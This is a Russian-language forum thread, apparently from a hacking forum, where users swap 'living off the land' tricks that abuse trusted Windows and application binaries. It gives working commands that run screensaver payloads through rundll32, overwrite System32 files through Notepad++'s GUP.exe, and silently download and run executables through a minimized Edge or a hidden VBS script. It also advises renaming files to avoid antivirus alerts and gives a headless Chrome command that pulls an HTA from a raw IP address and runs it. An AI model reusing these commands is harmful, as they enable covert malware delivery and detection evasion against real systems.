про калькулятор или calc.exe

[Johny]

​

                                           rundll32.exe desk.cpl,InstallScreenSaver C:\Users\administrator\Desktop\test.scr

 

[Johny]

​

 ​

#LOLbas и тыц​

 

[Johny]

​

 

[Johny]

​

 ​

LOLBAS that adplus​

 

[Johny]

​

 ​

GUP.exe binary from Notepad++​

                                                     GUP.exe -unzipTo "C:\Windows\System32\calc.exe" "" ""

 

[Johny]

​

 ​

 ​

#LOLBAS и тыц​

 

[Ondrik8]

Посмотреть вложение 1585

 

[Johny]

​

 

[Johny]

​

 

[Johny]

​

 

[Johny]

​

 ​

С той же оперы 

​

 ​

 ​

 ​

 ​

​

 

[Johny]

​

 

[Johny]

По тестил тыц и так браузер вообще не надо сворачивать  он должен быть закрыт, скачивает срыто и стартует 

 

start /min msedge.exe https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe && timeout 7 & C:\Users\Administrator\Downloads\putty.exe
Пример с .vbs 

 

WScript.CreateObject("WScript.Shell").Run "cmd /c start /min msedge.exe https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe && timeout 7 & C:\Users\Administrator\Downloads\putty.exe",0,true

Всем п/т что бы не было алерта переименовываем в .html или любой другое расширение 

 ​

 ​

​

       "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu --dump-dom http://94.103.94.22/1.html > 1.hta & timeout /T 5 & start 1.hta

 

[Johny]

​

 

[Johny]

​

 

[Johny]

​

 

[Johny]

#LOLBin пачка 

 

1. ApplicationFrameHost.exe

2.hvc.exe

3.logman.exe

4.setres.exe

5.slui.exe

 

[Johny]

​

 

[Johny]

​

 ​

ScriptRunner.exe​

 

[Johny]

​